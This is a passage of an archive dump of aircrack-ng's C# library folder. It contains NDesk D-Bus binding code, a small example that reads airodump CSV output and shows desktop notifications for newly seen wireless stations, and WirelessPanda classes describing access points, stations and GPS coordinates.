null) // return GetObject (bus_name, path); //if the requested type is an interface, we can implement it efficiently //otherwise we fall back to using a transparent proxy if (type.IsInterface) { return BusObject.GetObject (this, bus_name, path, type); } else { if (Protocol.Verbose) Console.Error.WriteLine ("Warning: Note that MarshalByRefObject use is not recommended; for best performance, define interfaces"); BusObject busObject = new BusObject (this, bus_name, path); DProxy prox = new DProxy (busObject, type); return prox.GetTransparentProxy (); } } public T GetObject (string bus_name, ObjectPath path) { return (T)GetObject (typeof (T), bus_name, path); } [Obsolete ("Use the overload of Register() which does not take a bus_name parameter")] public void Register (string bus_name, ObjectPath path, object obj) { Register (path, obj); } [Obsolete ("Use the overload of Unregister() which does not take a bus_name parameter")] public object Unregister (string bus_name, ObjectPath path) { return Unregister (path); } public void Register (ObjectPath path, object obj) { ExportObject eo = new ExportObject (this, path, obj); eo.Registered = true; //TODO: implement some kind of tree data structure or internal object hierarchy. right now we are ignoring the name and putting all object paths in one namespace, which is bad RegisteredObjects[path] = eo; } public object Unregister (ObjectPath path) { BusObject bo; if (!RegisteredObjects.TryGetValue (path, out bo)) throw new Exception ("Cannot unregister " + path + " as it isn't registered"); RegisteredObjects.Remove (path); ExportObject eo = (ExportObject)bo; eo.Registered = false; return eo.obj; } //these look out of place, but are useful internal protected virtual void AddMatch (string rule) { } internal protected virtual void RemoveMatch (string rule) { } static Connection () { if (BitConverter.IsLittleEndian) NativeEndianness = EndianFlag.Little; else NativeEndianness = EndianFlag.Big; } internal static readonly EndianFlag NativeEndianness; } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/DBus.cs0000644000000000000000000000454511600013506022316 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using NDesk.DBus; namespace org.freedesktop.DBus { [Flags] public enum NameFlag : uint { None = 0, AllowReplacement = 0x1, ReplaceExisting = 0x2, DoNotQueue = 0x4, } public enum RequestNameReply : uint { PrimaryOwner = 1, InQueue, Exists, AlreadyOwner, } public enum ReleaseNameReply : uint { Released = 1, NonExistent, NotOwner, } public enum StartReply : uint { //The service was successfully started. Success = 1, //A connection already owns the given name. AlreadyRunning, } public delegate void NameOwnerChangedHandler (string name, string old_owner, string new_owner); public delegate void NameAcquiredHandler (string name); public delegate void NameLostHandler (string name); [Interface ("org.freedesktop.DBus.Peer")] public interface Peer { void Ping (); [return: Argument ("machine_uuid")] string GetMachineId (); } [Interface ("org.freedesktop.DBus.Introspectable")] public interface Introspectable { [return: Argument ("data")] string Introspect (); } [Interface ("org.freedesktop.DBus.Properties")] public interface Properties { [return: Argument ("value")] object Get (string @interface, string propname); void Set (string @interface, string propname, object value); [return: Argument ("props")] IDictionary GetAll(string @interface); } [Interface ("org.freedesktop.DBus")] public interface IBus : Introspectable { RequestNameReply RequestName (string name, NameFlag flags); ReleaseNameReply ReleaseName (string name); string Hello (); string[] ListNames (); string[] ListActivatableNames (); bool NameHasOwner (string name); event NameOwnerChangedHandler NameOwnerChanged; event NameLostHandler NameLost; event NameAcquiredHandler NameAcquired; StartReply StartServiceByName (string name, uint flags); string GetNameOwner (string name); uint GetConnectionUnixUser (string connection_name); void AddMatch (string rule); void RemoveMatch (string rule); //undocumented in spec string[] ListQueuedOwners (string name); uint GetConnectionUnixProcessID (string connection_name); byte[] GetConnectionSELinuxSecurityContext (string connection_name); void ReloadConfig (); } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/Protocol.cs0000644000000000000000000001530611600013506023257 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; namespace NDesk.DBus { //yyyyuua{yv} struct Header { public EndianFlag Endianness; public MessageType MessageType; public HeaderFlag Flags; public byte MajorVersion; public uint Length; public uint Serial; //public HeaderField[] Fields; public IDictionary Fields; /* public static DType TypeForField (FieldCode f) { switch (f) { case FieldCode.Invalid: return DType.Invalid; case FieldCode.Path: return DType.ObjectPath; case FieldCode.Interface: return DType.String; case FieldCode.Member: return DType.String; case FieldCode.ErrorName: return DType.String; case FieldCode.ReplySerial: return DType.UInt32; case FieldCode.Destination: return DType.String; case FieldCode.Sender: return DType.String; case FieldCode.Signature: return DType.Signature; #if PROTO_REPLY_SIGNATURE case FieldCode.ReplySignature: //note: not supported in dbus return DType.Signature; #endif default: return DType.Invalid; } } */ } /* public struct HeaderField { //public HeaderField (FieldCode code, object value) //{ // this.Code = code; // this.Value = value; //} public static HeaderField Create (FieldCode code, object value) { HeaderField hf; hf.Code = code; hf.Value = value; return hf; } public FieldCode Code; public object Value; } */ enum MessageType : byte { //This is an invalid type. Invalid, //Method call. MethodCall, //Method reply with returned data. MethodReturn, //Error reply. If the first argument exists and is a string, it is an error message. Error, //Signal emission. Signal, } enum FieldCode : byte { Invalid, Path, Interface, Member, ErrorName, ReplySerial, Destination, Sender, Signature, #if PROTO_REPLY_SIGNATURE ReplySignature, //note: not supported in dbus #endif } enum EndianFlag : byte { Little = (byte)'l', Big = (byte)'B', } [Flags] enum HeaderFlag : byte { None = 0, NoReplyExpected = 0x1, NoAutoStart = 0x2, } public sealed class ObjectPath //: IComparable, IComparable, IEquatable { public static readonly ObjectPath Root = new ObjectPath ("/"); internal readonly string Value; public ObjectPath (string value) { if (value == null) throw new ArgumentNullException ("value"); this.Value = value; } public override bool Equals (object o) { ObjectPath b = o as ObjectPath; if (b == null) return false; return Value.Equals (b.Value); } public override int GetHashCode () { return Value.GetHashCode (); } public override string ToString () { return Value; } //this may or may not prove useful internal string[] Decomposed { get { return Value.Split (new char[] {'/'}, StringSplitOptions.RemoveEmptyEntries); /* } set { Value = String.Join ("/", value); */ } } internal ObjectPath Parent { get { if (Value == Root.Value) return null; string par = Value.Substring (0, Value.LastIndexOf ('/')); if (par == String.Empty) par = "/"; return new ObjectPath (par); } } /* public int CompareTo (object value) { return 1; } public int CompareTo (ObjectPath value) { return 1; } public bool Equals (ObjectPath value) { return false; } */ } static class Protocol { //protocol versions that we support public const byte MinVersion = 0; public const byte Version = 1; public const byte MaxVersion = Version; public const uint MaxMessageLength = 134217728; //2 to the 27th power public const uint MaxArrayLength = 67108864; //2 to the 26th power public const uint MaxSignatureLength = 255; public const uint MaxArrayDepth = 32; public const uint MaxStructDepth = 32; //this is not strictly related to Protocol since names are passed around as strings internal const uint MaxNameLength = 255; public static int PadNeeded (int pos, int alignment) { int pad = pos % alignment; pad = pad == 0 ? 0 : alignment - pad; return pad; } public static int Padded (int pos, int alignment) { int pad = pos % alignment; if (pad != 0) pos += alignment - pad; return pos; } public static int GetAlignment (DType dtype) { switch (dtype) { case DType.Byte: return 1; case DType.Boolean: return 4; case DType.Int16: case DType.UInt16: return 2; case DType.Int32: case DType.UInt32: return 4; case DType.Int64: case DType.UInt64: return 8; #if !DISABLE_SINGLE case DType.Single: //Not yet supported! return 4; #endif case DType.Double: return 8; case DType.String: return 4; case DType.ObjectPath: return 4; case DType.Signature: return 1; case DType.Array: return 4; case DType.Struct: return 8; case DType.Variant: return 1; case DType.DictEntry: return 8; case DType.Invalid: default: throw new Exception ("Cannot determine alignment of " + dtype); } } //this class may not be the best place for Verbose public readonly static bool Verbose; static Protocol () { Verbose = !String.IsNullOrEmpty (Environment.GetEnvironmentVariable ("DBUS_VERBOSE")); } } #if UNDOCUMENTED_IN_SPEC /* "org.freedesktop.DBus.Error.Failed" "org.freedesktop.DBus.Error.NoMemory" "org.freedesktop.DBus.Error.ServiceUnknown" "org.freedesktop.DBus.Error.NameHasNoOwner" "org.freedesktop.DBus.Error.NoReply" "org.freedesktop.DBus.Error.IOError" "org.freedesktop.DBus.Error.BadAddress" "org.freedesktop.DBus.Error.NotSupported" "org.freedesktop.DBus.Error.LimitsExceeded" "org.freedesktop.DBus.Error.AccessDenied" "org.freedesktop.DBus.Error.AuthFailed" "org.freedesktop.DBus.Error.NoServer" "org.freedesktop.DBus.Error.Timeout" "org.freedesktop.DBus.Error.NoNetwork" "org.freedesktop.DBus.Error.AddressInUse" "org.freedesktop.DBus.Error.Disconnected" "org.freedesktop.DBus.Error.InvalidArgs" "org.freedesktop.DBus.Error.FileNotFound" "org.freedesktop.DBus.Error.UnknownMethod" "org.freedesktop.DBus.Error.TimedOut" "org.freedesktop.DBus.Error.MatchRuleNotFound" "org.freedesktop.DBus.Error.MatchRuleInvalid" "org.freedesktop.DBus.Error.Spawn.ExecFailed" "org.freedesktop.DBus.Error.Spawn.ForkFailed" "org.freedesktop.DBus.Error.Spawn.ChildExited" "org.freedesktop.DBus.Error.Spawn.ChildSignaled" "org.freedesktop.DBus.Error.Spawn.Failed" "org.freedesktop.DBus.Error.UnixProcessIdUnknown" "org.freedesktop.DBus.Error.InvalidSignature" "org.freedesktop.DBus.Error.SELinuxSecurityContextUnknown" */ #endif } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NDesk-dbus/Bus.cs0000644000000000000000000000736111600013506022211 0ustar rootroot// Copyright 2006 Alp Toker // This software is made available under the MIT License // See COPYING for details using System; using System.Collections.Generic; using org.freedesktop.DBus; namespace NDesk.DBus { public sealed class Bus : Connection { static Bus systemBus = null; public static Bus System { get { if (systemBus == null) { try { if (Address.StarterBusType == "system") systemBus = Starter; else systemBus = Bus.Open (Address.System); } catch (Exception e) { throw new Exception ("Unable to open the system message bus.", e); } } return systemBus; } } static Bus sessionBus = null; public static Bus Session { get { if (sessionBus == null) { try { if (Address.StarterBusType == "session") sessionBus = Starter; else sessionBus = Bus.Open (Address.Session); } catch (Exception e) { throw new Exception ("Unable to open the session message bus.", e); } } return sessionBus; } } //TODO: parsing of starter bus type, or maybe do this another way static Bus starterBus = null; public static Bus Starter { get { if (starterBus == null) { try { starterBus = Bus.Open (Address.Starter); } catch (Exception e) { throw new Exception ("Unable to open the starter message bus.", e); } } return starterBus; } } //public static readonly Bus Session = null; //TODO: use the guid, not the whole address string //TODO: consider what happens when a connection has been closed static Dictionary buses = new Dictionary (); //public static Connection Open (string address) public static new Bus Open (string address) { if (address == null) throw new ArgumentNullException ("address"); if (buses.ContainsKey (address)) return buses[address]; Bus bus = new Bus (address); buses[address] = bus; return bus; } IBus bus; static readonly string DBusName = "org.freedesktop.DBus"; static readonly ObjectPath DBusPath = new ObjectPath ("/org/freedesktop/DBus"); public Bus (string address) : base (address) { bus = GetObject (DBusName, DBusPath); /* bus.NameAcquired += delegate (string acquired_name) { Console.WriteLine ("NameAcquired: " + acquired_name); }; */ Register (); } //should this be public? //as long as Bus subclasses Connection, having a Register with a completely different meaning is bad void Register () { if (unique_name != null) throw new Exception ("Bus already has a unique name"); unique_name = bus.Hello (); } public ulong GetUnixUser (string name) { return bus.GetConnectionUnixUser (name); } public RequestNameReply RequestName (string name) { return RequestName (name, NameFlag.None); } public RequestNameReply RequestName (string name, NameFlag flags) { return bus.RequestName (name, flags); } public ReleaseNameReply ReleaseName (string name) { return bus.ReleaseName (name); } public bool NameHasOwner (string name) { return bus.NameHasOwner (name); } public StartReply StartServiceByName (string name) { return StartServiceByName (name, 0); } public StartReply StartServiceByName (string name, uint flags) { return bus.StartServiceByName (name, flags); } internal protected override void AddMatch (string rule) { bus.AddMatch (rule); } internal protected override void RemoveMatch (string rule) { bus.RemoveMatch (rule); } string unique_name = null; public string UniqueName { get { return unique_name; } set { if (unique_name != null) throw new Exception ("Unique name can only be set once"); unique_name = value; } } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NewStationNotify/0000755000000000000000000000000012660222376022465 5ustar rootrootaircrack-ng-1.2-rc4/lib/csharp/MonoExample/NewStationNotify/Notification.cs0000644000000000000000000000467211600013506025435 0ustar rootroot// License: BSD // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Collections.Generic; using NDesk.DBus; using org.freedesktop; namespace NewStationNotify { public class Notification { public Notification () { } /// /// Shows a notification on the screen. This has been tested on a N900 and will probably not work with anything else but it can be used as a base. /// public static void Notify(String BSSID, String staMac) { Bus bus = Bus.Session; Notifications nf = bus.GetObject ("org.freedesktop.Notifications", new ObjectPath ("/org/freedesktop/Notifications")); Dictionary hints = new Dictionary (); if (string.IsNullOrEmpty(BSSID)) { nf.Notify ("Notification", 0, "control_bluetooth_paired", "New unassociated station", staMac, new string[0], hints, 0); } else { nf.Notify ("Notification", 0, "control_bluetooth_paired", "New associated station", staMac + " (AP: " + BSSID + ")", new string[0], hints, 0); } /* // Ugly hack for the N900 to notify the user since this can't be done with dbus-send // because it does not support empty array. StreamWriter sw = new StreamWriter("/home/user/notify.py"); if (string.IsNullOrEmpty(BSSID)) { sw.WriteLine("import dbus\n" + "bus = dbus.SessionBus()\n" + "proxy = bus.get_object('org.freedesktop.Notifications', '/org/freedesktop/Notifications')\n" + "interface = dbus.Interface(proxy,dbus_interface='org.freedesktop.Notifications')\n" + "interface.Notify('Notification', 0, 'control_bluetooth_paired', 'New unassociated station', '{0}', [], {{}}, 0)", staMac); } else { sw.WriteLine("import dbus\n" + "bus = dbus.SessionBus()\n" + "proxy = bus.get_object('org.freedesktop.Notifications', '/org/freedesktop/Notifications')\n" + "interface = dbus.Interface(proxy,dbus_interface='org.freedesktop.Notifications')\n" + "interface.Notify('Notification', 0, 'control_bluetooth_paired', 'New associated station', '{0} is associated to {1}', [], {{}}, 0)", staMac, BSSID); } sw.Close(); Process p = new Process(); p.StartInfo.UseShellExecute = false; p.StartInfo.FileName = "/usr/bin/python"; p.StartInfo.Arguments = "/home/user/notify.py"; p.Start(); p.WaitForExit(); FileInfo f = new FileInfo("/home/user/notify.py"); f.Delete(); */ } } } aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NewStationNotify/NewStationNotify.pidb0000644000000000000000000002054611600013506026602 0ustar rootrootÿÿÿÿSystem.Collections.Hashtable LoadFactorVersionComparerHashCodeProviderHashSizeKeysValues System.Collections.IComparer$System.Collections.IHashCodeProviderìQ8?   LastValidTaskListTokensVersionFIXME:2;TODO:1;HACK:1;UNDONE:0T ¤ îf Notificationþÿÿÿ  =g‡C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NewStationNotify\Notification.cshNewStationNotifyþÿÿÿ iNotifyj8 Shows a notification on the screen ˆ9<kBSSID$lstaMac2xf MainClassþÿÿÿ  6gC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NewStationNotify\Main.cshNewStationNotifyiMainþÿÿÿˆ*5ÿjSystemkString% f‡C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NewStationNotify\AssemblyInfo.csg AssemblyTitle  ÿhSystem.ReflectioniAssemblyTitleAttributejNewStationNotifyfkAssemblyDescription  ÿhlAssemblyDescriptionAttributefmAssemblyConfiguration ÿhnAssemblyConfigurationAttributefoAssemblyCompany ÿhpAssemblyCompanyAttributefqAssemblyProduct ÿhrAssemblyProductAttributefsAssemblyCopyright ÿhtAssemblyCopyrightAttributeuThomas d'OtreppefvAssemblyTrademark ÿhwAssemblyTrademarkAttributefxAssemblyCulture  ÿhyAssemblyCultureAttributefzAssemblyVersion  ÿh{AssemblyVersionAttribute|1.0.*ÿÿÿÿ     GMonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null•System.Collections.Generic.List`1[[MonoDevelop.Projects.Dom.ReferenceEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]_items_size_version)MonoDevelop.Projects.Dom.ReferenceEntry[] ‚System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]VersionComparerHashSize KeyValuePairs’System.Collections.Generic.GenericEqualityComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]†System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]][]P  System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]VersionComparerHashSize KeyValuePairs’System.Collections.Generic.GenericEqualityComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]…System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]][]  System.Collections.Hashtable LoadFactorVersionComparerHashCodeProviderHashSizeKeysValues System.Collections.IComparer$System.Collections.IHashCodeProviderìQ8?  'MonoDevelop.Projects.Dom.ReferenceEntry     ’System.Collections.Generic.GenericEqualityComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]] „System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]îÿÿÿ„System.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.ClassEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]keyvalue1MonoDevelop.Projects.Dom.Serialization.ClassEntryNewStationNotify.Notification ëÿÿÿîÿÿÿNewStationNotify.MainClass  ƒSystem.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]èÿÿÿƒSystem.Collections.Generic.KeyValuePair`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MonoDevelop.Projects.Dom.Serialization.FileEntry, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]keyvalue0MonoDevelop.Projects.Dom.Serialization.FileEntryC:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NewStationNotify\Main.cs åÿÿÿèÿÿÿ‡C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NewStationNotify\AssemblyInfo.cs âÿÿÿèÿÿÿ‡C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NewStationNotify\Notification.cs   'MonoDevelop.Projects.Dom.ReferenceEntry databaseUri!JAssembly:MS.NET:C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll"HAssembly:MS.NET:C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\System.dll#‹Project:C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\MonoExample\NDesk-dbus\NDesk-dbus.csproj$…Project:C:\Documents and Settings\The Baron\My Documents\Visual Studio 2010\Projects\WirelessPanda\WirelessPanda\WirelessPanda.csproj1MonoDevelop.Projects.Dom.Serialization.ClassEntry positionnspacenametypeParameterCount subclassesflagsctype modifiers typeModifier System.Collections.ArrayList3MonoDevelop.Projects.Dom.Serialization.ContentFlags"MonoDevelop.Projects.Dom.ClassType"MonoDevelop.Projects.Dom.Modifiers%MonoDevelop.Projects.Dom.TypeModifierL%NewStationNotify& Notification Ùÿÿÿ3MonoDevelop.Projects.Dom.Serialization.ContentFlagsvalue__NØÿÿÿ"MonoDevelop.Projects.Dom.ClassTypevalue__×ÿÿÿ"MonoDevelop.Projects.Dom.Modifiersvalue__Öÿÿÿ%MonoDevelop.Projects.Dom.TypeModifiervalue__> %, MainClass ÓÿÿÿÙÿÿÿÒÿÿÿØÿÿÿÑÿÿÿ×ÿÿÿÐÿÿÿÖÿÿÿ0MonoDevelop.Projects.Dom.Serialization.FileEntryfilePath parseTimeparseErrorRetries commentTasksclasses ŠSystem.Collections.Generic.List`1[[MonoDevelop.Projects.Dom.Tag, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]] e\üÀ«ý͈ 2  ÕIþa«ý͈ 5   óä}V«ý͈ 7 2ŠSystem.Collections.Generic.List`1[[MonoDevelop.Projects.Dom.Tag, MonoDevelop.Core, Version=2.6.0.0, Culture=neutral, PublicKeyToken=null]]_items_size_versionMonoDevelop.Projects.Dom.Tag[] 952 972 99MonoDevelop.Projects.Dom.Tag ºaircrack-ng-1.2-rc4/lib/csharp/MonoExample/NewStationNotify/AssemblyInfo.cs0000644000000000000000000000200111600013506025362 0ustar rootrootusing System.Reflection; using System.Runtime.CompilerServices; // Information about this assembly is defined by the following attributes. // Change them to the values specific to your project. [assembly: AssemblyTitle("NewStationNotify")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("")] [assembly: AssemblyCopyright("Thomas d'Otreppe")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // The assembly version has the format "{Major}.{Minor}.{Build}.{Revision}". // The form "{Major}.{Minor}.*" will automatically update the build and revision, // and "{Major}.{Minor}.{Build}.*" will update just the revision. [assembly: AssemblyVersion("1.0.*")] // The following attributes are used to specify the signing key for the assembly, // if desired. See the Mono documentation for more information about signing. //[assembly: AssemblyDelaySign(false)] //[assembly: AssemblyKeyFile("")] aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NewStationNotify/NewStationNotify.csproj0000644000000000000000000000430311600013506027155 0ustar rootroot Debug x86 8.0.50727 2.0 {82B5448F-10AA-4BE0-9C20-DEA6441C9146} Exe NewStationNotify NewStationNotify v4.0 true full false bin\Debug DEBUG prompt 4 x86 true none false bin\Release prompt 4 x86 true {223B034E-A2F0-4BC7-875A-F9B5972C0670} NDesk-dbus {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3} WirelessPanda aircrack-ng-1.2-rc4/lib/csharp/MonoExample/NewStationNotify/Main.cs0000644000000000000000000000236111600013506023664 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe // using System.Threading; using WirelessPanda.Readers; using WirelessPanda; using System.Collections; using System.Collections.Generic; using System; namespace NewStationNotify { class MainClass { public static void Main (string[] args) { Console.WriteLine(DateTime.Now + " - Program started"); Reader r = new UniversalReader("/home/user/dump-01.csv"); List stationList = new List(); // Read the file r.Read(); // Add existing stations to the list stationList.AddRange(r.Stations); while (true) { // Sleep 5 seconds Thread.Sleep(5000); Console.WriteLine(DateTime.Now + " - Checking for updates"); // Update file r.Read(); // Get station list foreach(Station sta in r.Stations) { // If new station, update us if (!stationList.Contains(sta)) { stationList.Add(sta); // Display it on the command line Console.WriteLine(DateTime.Now + " - New station: " + sta.StationMAC); // Display it as a notification Notification.Notify(sta.BSSID, sta.StationMAC); } } } } } } aircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/0000755000000000000000000000000012660222375017515 5ustar rootrootaircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/WirelessDevice.cs0000644000000000000000000001140711600011117022743 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Collections; namespace WirelessPanda { public abstract class WirelessDevice { #region Dictionary stuff /// /// Keep track of the last position for the column /// private int _lastPosition = 0; /// /// Dictionary containing all values /// protected Hashtable _fieldsDictionary = new Hashtable(); /// /// Order of the columns /// protected Hashtable _fieldsOrder = new Hashtable(); /// /// Sets a value in the dictionary /// /// Key /// Value protected void setDictValue(string key, object value) { if (this._fieldsDictionary.ContainsKey(key)) { this._fieldsDictionary.Remove(key); } else { // Save the position for the column (useful when creating the dataset) this._fieldsOrder.Add(this._lastPosition++, key); } this._fieldsDictionary.Add(key, value); } /// /// Return a value in the dictionary /// /// Key /// Object value /// protected object getDictValue(string key) { if (this._fieldsDictionary.ContainsKey(key)) { return this._fieldsDictionary[key]; } throw new MissingFieldException("Value for <" + key + "> is not set or does not exist"); } /// /// Returns a copy of the dictionary /// internal Hashtable FieldsDictionary { get { return this._fieldsDictionary as Hashtable; } } /// /// Returns a copy of the column order /// internal Hashtable FieldsOrder { get { return this._fieldsOrder as Hashtable; } } #endregion #region Properties public string BSSID { get { return (string)this.getDictValue("BSSID"); } set { this.setDictValue("BSSID", value); if (value != null) { // Special case, not associated if (value.Trim() == "(not associated)") { this.setDictValue("BSSID", string.Empty); } else { this.setDictValue("BSSID", value.Trim()); } } } } public DateTime FirstTimeSeen { get { return (DateTime)this.getDictValue("First Time Seen"); } set { this.setDictValue("First Time Seen", value); } } public DateTime LastTimeSeen { get { return (DateTime)this.getDictValue("Last Time Seen"); } set { this.setDictValue("Last Time Seen", value); } } public int Channel { get { return (int)this.getDictValue("Channel"); } set { this.setDictValue("Channel", value); } } public ulong TotalFrames { get { return (ulong)this.getDictValue("Total Frames"); } set { this.setDictValue("Total Frames", value); } } public Coordinates Location { get { return (Coordinates)this.getDictValue("Location"); } set { this.setDictValue("Location", value); } } public int Power { get { return (int)this.getDictValue("Power"); } set { this.setDictValue("Power", value); } } #endregion } } aircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/WirelessPanda.csproj0000644000000000000000000000475111600011117023466 0ustar rootroot Debug AnyCPU 8.0.30703 2.0 {F3A06E01-20E6-4CF8-AD62-1034A0B4EAE3} Library Properties WirelessPanda WirelessPanda v4.0 512 true full false bin\Debug\ DEBUG;TRACE prompt 4 pdbonly true bin\Release\ TRACE prompt 4 aircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/Coordinates.cs0000644000000000000000000001042611600011117022300 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Collections; using System.Text; namespace WirelessPanda { public class Coordinates { #region Dictionary stuff private Hashtable _dictionary = new Hashtable(); private void setDictValue(string elem, double value) { if (this._dictionary.ContainsKey(elem)) { this._dictionary.Remove(elem); } this._dictionary.Add(elem, value); } private double getDictValue(string elem) { if (this._dictionary.ContainsKey(elem)) { return (double)this._dictionary[elem]; } throw new MissingFieldException("Value <" + elem + "> is not set or does not exist"); } #endregion #region Properties /// /// Latitude /// public double Latitude { get { return this.getDictValue("Latitude"); } set { this.setDictValue("Latitude", value); } } /// /// Longitude /// public double Longitude { get { return this.getDictValue("Longitude"); } set { this.setDictValue("Longitude", value); } } /// /// Altitude (in meters) /// public double Altitude { get { return this.getDictValue("Altitude"); } set { this.setDictValue("Altitude", value); } } /// /// Speed (UOM: probably knot but unsure) /// public double Speed { get { return this.getDictValue("Speed"); } set { this.setDictValue("Speed", value); } } #endregion public Coordinates(string latitude = null, string longitude = null, string altitude = null, string speed = null) { if (!string.IsNullOrEmpty(latitude)) { this.Latitude = double.Parse(latitude); } if (!string.IsNullOrEmpty(longitude)) { this.Longitude = double.Parse(longitude); } if (!string.IsNullOrEmpty(altitude)) { this.Altitude = double.Parse(altitude); } if (!string.IsNullOrEmpty(speed)) { this.Speed = double.Parse(speed); } } public Coordinates(double latitude, double longitude) { this.Latitude = latitude; } public Coordinates(double latitude, double longitude, double altitude) : this(latitude, longitude) { this.Altitude = latitude; } public Coordinates(double latitude, double longitude, double altitude, double speed) : this(latitude, longitude, altitude) { this.Speed = speed; } public override string ToString() { StringBuilder sb = new StringBuilder(); try { sb.Append(this.Latitude); sb.Append(", "); sb.Append(this.Longitude); if (this._dictionary.ContainsKey("Altitude")) { sb.Append(" - Altitude: "); sb.Append(this.Altitude); } if (this._dictionary.ContainsKey("Speed")) { sb.Append(" - Speed: "); sb.Append(this.Speed); } } catch { if (sb.Length > 0) { sb.Remove(0, sb.Length); } } return sb.ToString(); } } } aircrack-ng-1.2-rc4/lib/csharp/WirelessPanda/AccessPoint.cs0000644000000000000000000002723311600011117022245 0ustar rootroot// License: BSD/LGPL // Copyright (C) 2011 Thomas d'Otreppe using System; using System.Collections.Generic; namespace WirelessPanda { public class AccessPoint : WirelessDevice, IEquatable { #region Properties /// /// Max Rate /// public double MaxRate { get { return (double)this.getDictValue("Max Rate"); } set { this.setDictValue("Max Rate", value); } } /// /// Max Seen Rate /// public double MaxSeenRate { get { return (double)this.getDictValue("Max Seen Rate"); } set { this.setDictValue("Max Seen Rate", value); } } /// /// Privacy /// public string Privacy { get { return (string)this.getDictValue("Privacy"); } set { this.setDictValue("Privacy", value); } } /// /// Cipher /// public string Cipher { get { return (string)this.getDictValue("Cipher"); } set { this.setDictValue("Cipher", value); } } /// /// Authentication /// public string Authentication { get { return (string)this.getDictValue("Authentication"); } set { this.setDictValue("Authentication", value); } } /// /// # Data Frames /// public ulong DataFrames { get { return (ulong)this.getDictValue("Data"); } set { this.setDictValue("Data", value); } } /// /// Beacons /// public long Beacons { get { return (long)this.getDictValue("Beacons"); } set { this.setDictValue("Beacons", value); } } /// /// IP Address /// public string IP { get { return (string)this.getDictValue("IP"); } set { this.setDictValue("IP", value); } } /// /// IP Type /// public int IPType { get { return (int)this.getDictValue("IP Type"); } set { this.setDictValue("IP Type", value); } } /// /// ESSID /// public string ESSID { get { return (string)this.getDictValue("ESSID"); } set { this.setDictValue("ESSID", value); } } /// /// ESSID Length /// public byte 